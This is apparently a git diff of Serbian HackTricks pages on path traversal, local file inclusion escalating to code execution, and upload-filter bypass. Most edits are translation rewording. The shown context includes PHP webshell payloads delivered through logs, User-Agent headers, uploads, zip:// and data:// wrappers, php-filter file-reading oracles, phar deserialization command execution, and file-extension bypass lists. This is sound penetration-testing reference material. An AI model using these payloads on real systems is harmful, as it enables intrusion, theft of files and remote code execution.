- **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (kao što je `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Kada se koriste tehnike skraćivanja putanja, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
@ -157,7 +157,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
```
## Python Root element
U Pythonu u kodu poput ovog:
U Python-u u kodu kao što je ovaj:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -167,17 +167,17 @@ Ako korisnik prosledi **apsolutnu putanju** do **`file_name`**, **prethodna puta
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
To je predviđeno ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
To je očekivano ponašanje prema [dokumentaciji](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od komponente apsolutne putanje.
## Java Lista Direktorijuma
## Java Lista direktorijuma
Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto datoteke, **vraća se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
## Top 25 parametara
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -225,10 +225,10 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
- `convert.iconv.*` : Transformiše u drugačiju kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
> [!WARNING]
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije kao što je uključivanje procesa proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
> Zloupotrebom `convert.iconv.*` konverzionog filtera možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili pravljenje funkcije poput uključivanja koja obrađuje proizvoljan tekst. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira mnogo informacija)
- `zlib.deflate`: Kompresuje sadržaj (korisno ako se eksfiltrira puno informacija)
- `zlib.inflate`: Dekompresuje podatke
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Zastarjelo
@ -236,7 +236,7 @@ PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego š
- Ostali filteri
- Pokretanjem u php `var_dump(stream_get_filters());` možete pronaći nekoliko **neočekivanih filtera**:
- `consumed`
- `dechunk`: obrće HTTP chunked kodiranje
- `dechunk`: obrće HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -265,7 +265,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Deo "php://filter" nije osetljiv na velika i mala slova
> Deo "php://filter" je neosetljiv na velika i mala slova
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
@ -278,7 +278,7 @@ U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzo
- **dechunk** filter će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
- Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
- Codec **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog codec-a a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška je izazvana jer se množi sa početnom bombom.
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druge karaktere kao što su n, o, p, q, r (i drugi codec-i se mogu koristiti za pomeranje drugih slova u heks opseg).
- Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druga slova kao n, o, p, q, r (i drugi codeci se mogu koristiti za pomeranje drugih slova u heks opseg).
- Kada je početni karakter broj, potrebno je da se base64 kodira i eksfiltrira prva 2 slova da bi se otkrio broj.
- Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem redoslednih memorijskih filtera kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
- I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta smešnih podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do smešnih podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
@ -287,7 +287,7 @@ U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php_filters_ch
### php://fd
Ovaj wrapper omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -366,9 +366,9 @@ phar-deserialization.md
### CVE-2024-2961
Bilo je moguće zloupotrebiti **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Moguće je zloupotrebiti **bilo koji proizvoljni fajl pročitan iz PHP-a koji podržava php filtere** da bi se dobio RCE. Detaljan opis može se [**naći u ovom postu**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Veoma kratak rezime: **3-bajtni overflow** u PHP heap-u je zloupotrebljen da bi se **izmenio lanac slobodnih chunk-ova** specifične veličine kako bi se moglo **pisati bilo šta na bilo kojoj adresi**, tako da je dodat hook za pozivanje **`system`**.\
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filtera.
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebljavajući više php filtera.
### More protocols
@ -391,7 +391,7 @@ For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Dok ovo ima za cilj da zaustavi prolaz, nenamerno stvara vektor za injekciju koda. Da bi iskoristio ovo za čitanje sadržaja datoteka, napadač bi mogao da koristi:
Dok ovo ima za cilj da zaustavi prolazak, nenamerno stvara vektor za injekciju koda. Da bi iskoristio ovo za čitanje sadržaja datoteka, napadač bi mogao da koristi:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -404,17 +404,17 @@ Važno je **URL-enkodirati ove payload-e**.
## PHP Blind Path Traversal
> [!WARNING]
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**) ali sadržaj nije prikazan.
> Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
Ukratko, tehnika koristi **"UCS-4LE" enkodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
Zatim, da bi se iscurio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i iscuri ih**.
Zatim, da bi se otkrio prvi karakter, filter **`dechunk`** se koristi zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i otkriju**.
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Za tehničke detalje proverite pomenuti post!
Za tehničke detalje pogledajte pomenuti post!
## LFI2RCE
@ -424,7 +424,7 @@ Objašnjeno ranije, [**pratite ovu vezu**](./#remote-file-inclusion).
### Putem Apache/Nginx log fajla
Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije, mogli biste pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavite unutar **user agent-a** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključite taj fajl.
Ako je Apache ili Nginx server **ranjiv na LFI** unutar include funkcije, mogli biste pokušati da pristupite **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postavljajući unutar **user agent-a** ili unutar **GET parametra** php shell kao **`<?php system($_GET['c']); ?>`** i uključiti taj fajl.
> [!WARNING]
> Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostavnih navodnika**, dvostruki navodnici će biti modifikovani za string "_**quote;**_", **PHP će baciti grešku** tamo i **ništa drugo neće biti izvršeno**.
@ -462,9 +462,9 @@ Kao log datoteka, pošaljite payload u User-Agent, biće reflektovan unutar /pro
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Putem upload-a
### Putem otpremanja
Ako možete da otpremite fajl, jednostavno ubacite shell payload u njega (npr: `<?php system($_GET['c']); ?>`).
Ako možete otpremiti datoteku, jednostavno umetnite shell payload u nju (npr: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -472,7 +472,7 @@ Da bi se datoteka održala čitljivom, najbolje je ubrizgati u metapodatke slika
### Putem učitavanja Zip datoteke
Učitajte ZIP datoteku koja sadrži PHP shell kompresovanu i pristupite:
Učitajte ZIP datoteku koja sadrži PHP shell u kompresovanom obliku i pristupite:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -533,7 +533,7 @@ lfi2rce-via-segmentation-fault.md
### Putem Nginx privremenog skladištenja fajlova
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE pomoću sledeće tehnike:
Ako ste pronašli **Local File Inclusion** i **Nginx** radi ispred PHP-a, možda ćete moći da dobijete RCE koristeći sledeću tehniku:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -547,7 +547,7 @@ Ako ste pronašli **Local File Inclusion** čak i ako **nemate sesiju** i `sessi
via-php_session_upload_progress.md
{{#endref}}
### Putem privremenih otpremanja fajlova u Windows-u
### Putem otpremanja privremenih fajlova u Windows-u
Ako ste pronašli **Local File Inclusion** i server radi na **Windows-u**, možda ćete dobiti RCE:
@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Putem večnog čekanja + bruteforce
Ako možete da zloupotrebite LFI da **otpremite privremene datoteke** i naterate server da **zadrži** PHP izvršenje, mogli biste zatim **bruteforce-ovati imena datoteka tokom sati** da pronađete privremenu datoteku:
Ako možete zloupotrebiti LFI da **otpremite privremene datoteke** i naterate server da **zadrži** PHP izvršenje, mogli biste zatim **bruteforce-ovati imena datoteka tokom sati** da pronađete privremenu datoteku:
{{#ref}}
lfi2rce-via-eternal-waiting.md

View File

@ -26,13 +26,13 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
[**Ovaj CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) je rešen korišćenjem prethodnog trika.
Napadač će naterati **server žrtve da otvori vezu čitajući datoteku sa servera napadača** koristeći **`compress.zlib`** protokol.
Napadač će **naterati server žrtve da otvori vezu čitajući datoteku sa servera napadača** koristeći **`compress.zlib`** protokol.
**Dok** ova **veza** postoji, napadač će **izvršiti exfiltraciju putanje** do privremene datoteke koja je kreirana (server je otkrio).
**Dok** ova **veza** postoji, napadač će **ekstraktovati putanju** do privremene datoteke koja je kreirana (server je otkrio).
**Dok** je **veza** još uvek otvorena, napadač će **iskoristiti LFI učitavajući privremenu datoteku** koju kontroliše.
Međutim, postoji provera na web serveru koja **sprečava učitavanje datoteka koje sadrže `<?`**. Stoga, napadač će iskoristiti **Race Condition**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **webserver** **proverio** da li datoteka sadrži zabranjene karaktere, ali **PRE nego što učita njen sadržaj**.
Međutim, postoji provera na veb serveru koja **sprečava učitavanje datoteka koje sadrže `<?`**. Stoga, napadač će iskoristiti **Race Condition**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **veb server** **proverio** da li datoteka sadrži zabranjene karaktere, ali **PRE nego što učita njen sadržaj**.
Za više informacija pogledajte opis Race Condition i CTF na [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)

View File

@ -65,20 +65,20 @@ Hajde da uradimo malo matematike:
> [!WARNING]
> Imajte na umu da u prethodnom primeru **potpuno DoS-ujemo druge klijente**!
Ako je Apache server unapređen i mogli bismo da zloupotrebimo **4000 konekcija** (na pola puta do maksimalnog broja). Mogli bismo kreirati `3999*20 = 79980` **fajlova** i **broj** bi bio **smanjen** na oko **19.7h** ili **6.9h** (10h, 3.5h 50% šanse).
Ako je Apache server unapređen i mogli bismo da zloupotrebimo **4000 konekcija** (na pola puta do maksimalnog broja). Mogli bismo da kreiramo `3999*20 = 79980` **fajlova** i **broj** bi bio **smanjen** na oko **19.7h** ili **6.9h** (10h, 3.5h 50% šanse).
## PHP-FMP
Ako umesto korišćenja regularnog php mod-a za apache za pokretanje PHP skripti **web stranica koristi** **PHP-FMP** (to poboljšava efikasnost web stranice, tako da je uobičajeno naći ga), postoji nešto drugo što se može učiniti da se poboljša tehnika.
PHP-FMP omogućava da se **konfiguriše** **parametar** **`request_terminate_timeout`** u **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Ovaj parametar označava maksimalan broj sekundi **kada** **zahtev za PHP mora da se završi** (beskonačno podrazumevano, ali **30s ako je parametar otkomentarisano**). Kada se zahtev obrađuje od strane PHP-a, označeni broj sekundi, on se **ubija**. To znači da, ako je zahtev učitavao privremene fajlove, zato što je **php obrada prekinuta**, ti **fajlovi neće biti obrisani**. Stoga, ako možete da napravite zahtev koji traje to vreme, možete **generisati hiljade privremenih fajlova** koji neće biti obrisani, što će **ubrati proces pronalaženja njih** i smanjiti verovatnoću DoS-a platformi trošeći sve konekcije.
Ovaj parametar označava maksimalan broj sekundi **kada** **zahtev za PHP mora da se završi** (beskonačno podrazumevano, ali **30s ako je parametar otkomentarisano**). Kada se zahtev obrađuje od strane PHP-a, označeni broj sekundi, on se **ubija**. To znači da, ako je zahtev učitavao privremene fajlove, jer je **php obrada prekinuta**, ti **fajlovi neće biti obrisani**. Stoga, ako možete da napravite zahtev koji traje to vreme, možete **generisati hiljade privremenih fajlova** koji neće biti obrisani, što će **ubrati proces pronalaženja njih** i smanjiti verovatnoću DoS-a platformi trošeći sve konekcije.
Dakle, da bismo **izbegli DoS**, pretpostavimo da će **napadač koristiti samo 100 konekcija** u isto vreme i maksimalno vreme obrade php-a od strane **php-fmp** (`request_terminate_timeout`**)** je **30s**. Stoga, broj **temp fajlova** koji se može generisati **po sekundi** je `100*20/30 = 66.67`.
Dakle, da bismo **izbegli DoS**, pretpostavimo da će **napadač koristiti samo 100 konekcija** u isto vreme, a maksimalno vreme obrade php-a od strane **php-fmp** (`request_terminate_timeout`**)** je **30s**. Stoga, broj **temp fajlova** koji se može generisati **po sekundi** je `100*20/30 = 66.67`.
Zatim, da generiše **10000 fajlova** napadač bi trebao: **`10000/66.67 = 150s`** (da generiše **100000 fajlova** vreme bi bilo **25min**).
Zatim, da generiše **10000 fajlova**, napadaču bi bilo potrebno: **`10000/66.67 = 150s`** (da generiše **100000 fajlova** vreme bi bilo **25min**).
Zatim, napadač bi mogao koristiti tih **100 konekcija** da izvrši **brute-force pretragu**. \*\*\*\* Pretpostavljajući brzinu od 300 req/s vreme potrebno za eksploataciju je sledeće:
Zatim, napadač bi mogao koristiti tih **100 konekcija** da izvrši **brute-force pretragu**. \*\*\*\* Pretpostavljajući brzinu od 300 req/s, vreme potrebno za eksploataciju je sledeće:
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 sati** (50% šanse u 2.63h)
- (sa 100000 fajlova) 56800235584 / 100000 / 300 / 3600 \~= **0.525 sati** (50% šanse u 0.263h)

View File

@ -1,4 +1,4 @@
# LFI2RCE putem Nginx temp fajlova
# LFI2RCE putem Nginx privremenih datoteka
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Uvod
Ovaj [**izveštaj**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filtere za generisanje proizvoljnog sadržaja** kao izlaz. Što u osnovi znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga napišete** u datoteku.
Ovaj [**izveštaj**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **php filtere za generisanje proizvoljnog sadržaja** kao izlaz. Što u suštini znači da možete **generisati proizvoljan php kod** za uključivanje **bez potrebe da ga pišete** u datoteku.
Osnovna svrha skripte je da **generiše Base64** string na **početku** datoteke koji će biti **konačno dekodiran** i pružiti željeni payload koji će biti **interpretiran od strane `include`**.
Osnove za to su:
- `convert.iconv.UTF8.CSISO2022KR` će uvek dodati `\x1b$)C` na početak stringa
- `convert.base64-decode` je ekstremno tolerantna, u suštini će samo ignorisati sve karaktere koji nisu validni base64. Daje neke probleme ako naiđe na neočekivane "=" ali se oni mogu ukloniti pomoću filtera `convert.iconv.UTF8.UTF7`.
- `convert.base64-decode` je izuzetno tolerantna, u suštini će ignorisati sve karaktere koji nisu validni base64. Daje neke probleme ako naiđe na neočekivane "=" ali se oni mogu ukloniti pomoću filtera `convert.iconv.UTF8.UTF7`.
Petlja za generisanje proizvoljnog sadržaja je:
@ -22,7 +22,7 @@ Petlja za generisanje proizvoljnog sadržaja je:
5. base64-dekodirati da dobijemo naš php kod
> [!WARNING]
> **Includes** obično rade stvari poput **dodavanja ".php" na kraju** datoteke, što može otežati eksploataciju ovog jer biste morali pronaći .php datoteku sa sadržajem koji ne ubija eksploataciju... ili možete **samo koristiti `php://temp` kao resurs** jer može **imati bilo šta dodato u ime** (npr. +".php") i to će i dalje omogućiti da eksploatacija funkcioniše!
> **Includes** obično rade stvari poput **dodavanja ".php" na kraj** datoteke, što može otežati eksploataciju ovog jer biste morali pronaći .php datoteku sa sadržajem koji ne ubija eksploataciju... ili možete **samo koristiti `php://temp` kao resurs** jer može **imati bilo šta dodato u ime** (npr. +".php") i to će i dalje omogućiti da eksploatacija funkcioniše!
## Kako dodati i sufikse na rezultantne podatke
@ -164,7 +164,7 @@ conversions = {
'=': ''
}
```
Evo **skripte** za dobijanje kodiranja koja generišu svako b64 slovo:
Evo **skripta** za dobijanje kodiranja koja generišu svako b64 slovo:
```php
<?php

View File

@ -26,7 +26,7 @@ U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je
**phpinfo()**
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike zaglavlja) **uploadujući php** reverznu **shell**, čekati da se **prvi deo phpinfo() vrati** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **puno velikih zahteva** (koristeći velike zaglavlja) **uploadujući php** reverznu **shell**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl eksploatišući LFI ranjivost.
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
```python

View File

@ -4,10 +4,10 @@
## **PHP Učitavanje fajlova**
Kada **PHP** engine primi **POST zahtev** koji sadrži fajlove formatirane prema RFC 1867, generiše privremene fajlove za skladištenje učitanih podataka. Ovi fajlovi su ključni za rukovanje učitavanjem fajlova u PHP skriptama. Funkcija `move_uploaded_file` mora se koristiti za premještanje ovih privremenih fajlova na željenu lokaciju ako je potrebno trajno skladištenje nakon izvršenja skripte. Nakon izvršenja, PHP automatski briše sve preostale privremene fajlove.
Kada **PHP** engine primi **POST zahtev** koji sadrži fajlove formatirane prema RFC 1867, generiše privremene fajlove za skladištenje učitanih podataka. Ovi fajlovi su ključni za rukovanje učitavanjem fajlova u PHP skriptama. Funkcija `move_uploaded_file` mora se koristiti za premestiti ove privremene fajlove na željenu lokaciju ako je potrebno trajno skladištenje nakon izvršenja skripte. Nakon izvršenja, PHP automatski briše sve preostale privremene fajlove.
> [!NOTE]
> **Bezbednosna upozorenje: Napadači, svesni lokacije privremenih fajlova, mogu iskoristiti ranjivost Local File Inclusion da izvrše kod pristupajući fajlu tokom učitavanja.**
> **Bezbednosna upozorenje: Napadači, svesni lokacije privremenih fajlova, mogu iskoristiti ranjivost lokalnog uključivanja fajlova da izvrše kod pristupajući fajlu tokom učitavanja.**
Izazov za neovlašćen pristup leži u predviđanju imena privremenog fajla, koje je namerno nasumično.
@ -17,9 +17,9 @@ Na Windows-u, PHP generiše imena privremenih fajlova koristeći funkciju `GetTe
- Podrazumevana putanja je obično `C:\Windows\Temp`.
- Prefiks je obično "php".
- `<uuuu>` predstavlja jedinstvenu heksadecimalnu vrednost. Ključno je da, zbog ograničenja funkcije, koristi se samo donjih 16 bita, što omogućava maksimalno 65,535 jedinstvenih imena sa konstantnom putanjom i prefiksom, čini brute force izvodljivim.
- `<uuuu>` predstavlja jedinstvenu heksadecimalnu vrednost. Ključno, zbog ograničenja funkcije, koristi se samo donjih 16 bita, što omogućava maksimalno 65,535 jedinstvenih imena sa konstantnom putanjom i prefiksom, što čini brute force izvodljivim.
Pored toga, proces eksploatacije je pojednostavljen na Windows sistemima. Osobina u funkciji `FindFirstFile` omogućava korišćenje džokera u Local File Inclusion (LFI) putanjama. Ovo omogućava kreiranje putanje za uključivanje poput sledeće kako bi se locirao privremeni fajl:
Pored toga, proces eksploatacije je pojednostavljen na Windows sistemima. Osobina u funkciji `FindFirstFile` omogućava korišćenje džokera u putanjama lokalnog uključivanja fajlova (LFI). Ovo omogućava kreiranje putanje za uključivanje poput sledeće da locira privremeni fajl:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
```
@ -27,6 +27,6 @@ U određenim situacijama, može biti potrebna specifičnija maska (kao što su `
#### Eksploatacija na GNU/Linux sistemima
Za GNU/Linux sisteme, nasumičnost u imenovanju privremenih fajlova je robusna, što imenuje ni predvidljive ni podložne napadima silom. Dodatne informacije mogu se naći u referenciranoj dokumentaciji.
Za GNU/Linux sisteme, nasumičnost u imenovanju privremenih fajlova je robusna, što imenuje ni predvidljive ni podložne napadima silom. Dodatne informacije mogu se naći u referentnoj dokumentaciji.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -24,7 +24,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
Možete kreirati **phar** datoteku koja kada se učita **zloupotrebljava ovu klasu da izvrši proizvoljne komande** sa nečim poput:
Možete kreirati **phar** datoteku koja će, kada se učita, **iskoristiti ovu klasu za izvršavanje proizvoljnih komandi** sa nečim poput:
```php:create_phar.php
<?php
@ -50,7 +50,7 @@ $object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
Napomena kako su **magične bajtove JPG** (`\xff\xd8\xff`) dodate na početak phar datoteke da bi se **zaobišle** **moguće** **restrikcije** **upload-a** **datoteka**.\
Napomena kako su **magic bytes of JPG** (`\xff\xd8\xff`) dodati na početak phar datoteke kako bi se **zaobišle** **moguće** **restrikcije** **upload-a** datoteka.\
**Kompajlirajte** datoteku `test.phar` sa:
```bash
php --define phar.readonly=0 create_phar.php

View File

@ -29,7 +29,7 @@ U [**originalnom CTF**](https://blog.orange.tw/2018/10/) gde je ova tehnika kome
Zbog podrazumevanog podešavanja `session.upload_progress.prefix`, naš **SESSION fajl će početi sa dosadnim prefiksom** `upload_progress_` Kao što je: `upload_progress_controlledcontentbyattacker`
Trik da **uklonite inicijalni prefiks** bio je da **base64 kodirate payload 3 puta** i zatim ga dekodirate putem `convert.base64-decode` filtera, to je zato što kada **base64 dekodirate, PHP će ukloniti čudne karaktere**, tako da nakon 3 puta **samo** **payload** **poslat** od strane napadača će **ostati** (i tada napadač može kontrolisati inicijalni deo).
Trik da **uklonite inicijalni prefiks** bio je da **base64 kodirate payload 3 puta** i zatim ga dekodirate putem `convert.base64-decode` filtera, to je zato što kada **base64 dekodirate PHP će ukloniti čudne karaktere**, tako da nakon 3 puta **samo** **payload** **poslat** od strane napadača će **ostati** (i tada napadač može kontrolisati inicijalni deo).
Više informacija u originalnom tekstu [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) i konačnom exploit-u [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Još jedan tekst u [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)

View File

@ -22,7 +22,7 @@ Other useful extensions:
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
- _file.png.php_
- _file.png.Php5_
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -46,44 +46,44 @@ Other useful extensions:
- _file.php%00.png%00.jpg_
6. Pokušajte da stavite **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **_**.php**_**, ali** ne nužno završava u .php** će izvršiti kod):
- _ex: file.php.png_
7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazna datoteka sa zabranjenom ekstenzijom** će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti uređena kasnije koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
7. Koristeći **NTFS alternativni podatkovni tok (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazna datoteka sa zabranjenom ekstenzijom** će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti kasnije uređena koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
8. Pokušajte da prekinete ograničenja imena datoteke. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
```
# Linux maksimum 255 bajtova
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
